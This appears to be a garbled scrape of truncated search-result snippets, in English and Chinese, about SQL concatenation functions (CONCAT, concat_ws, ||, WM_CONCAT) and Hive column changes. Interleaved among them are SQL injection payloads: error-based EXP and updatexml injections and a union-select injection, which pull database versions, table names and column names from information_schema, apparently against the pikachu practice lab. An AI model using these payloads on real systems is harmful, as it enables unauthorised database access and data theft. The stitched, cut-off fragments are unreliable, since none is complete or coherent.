The CONCAT function is used to combine or concatenate two or more string values. The SQL CONCAT function takes at least two arguments that are converted to strings (if they are not already) and returns a concatenated string. For example: CONCAT ( ‘String 1 ‘, ‘String 2 ‘, ‘String 3...
C# 复制 public static Microsoft.Spark.Sql.Column ConcatWs(string sep, params Microsoft.Spark.Sql.Column[] columns); 参数 sep String 用于字符串串联的分隔符 columns Column[] 要应用的列 返回 Column Column 对象 适用于 产品版本 Microsoft.Spark latest 本文...
select ucid ,concat_ws(',',collect_set(CASE WHEN type ='性别' THEN label end)) `性别` ,concat_ws(',',collect_set(CASE WHEN type ='产品' THEN label end)) `产品` ,concat_ws(',',collect_set(CASE WHEN type ='还款表现' THEN label end)) `还款表现` ,concat_ws(',',collect_set...
' or EXP(~(SELECT * from(select version())a)) or '爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns wher...
||(CONCAT) 允許隱含交叉傳送至字串。 SQL 複製 -- A numeric is cast to STRING > SELECT 'This is a numeric: ' || 5.4E10; This is a numeric: 5.4E10 -- A date is cast to STRING > SELECT 'This is a date: ' || DATE'2021-11-30'; This is a date: 2021-11-30 date_add可以...
hh_teachr_price add columns(type string comment '题型', course string comment '科目') CASCADE; -- 删除字段 alter table temp.hh_teachr_price replace columns (teacherid string, task_type string); -- 删除price -- 修改列名 alter table temp.hh_teachr_price CHANGE COLUMN task_type task_type...
输入:1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' 可以爆出users表的所有列名,更改输入的查询数据库表名称,就可以获取该数据库下的任意一张表的表字段,继续注入。 7、表数据爆破 输入:1 union select group_concat(usern...
第一个参数:XML_document是String格式,为XML文档对象的名称; 第二个参数:XPath_string (Xpath格式的字符串) , 第三个参数:new_value,String格式,替换查找到的符合条件的数据 SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1) ...
An operator in a string expression that concatenates two or more character or binary strings, columns, or a combination of strings and column names into one expression (a string operator). For example SELECT 'book'+'case'; returns bookcase....
这种拼接的方式可以通过函数WM_CONCAT。 https://www.alibabacloud.com/help/zh/maxcompute/user-guide/wm-concat 在上面的例子中我们是这样使用WM_CONCAT函数的: SELECT id ,name ,WM_CONCAT(',',a_tag) a_tag from T_tmp_4; 这样我们就得到了图8所示的结果集。 至此我们完成了表的列转行、行转列,...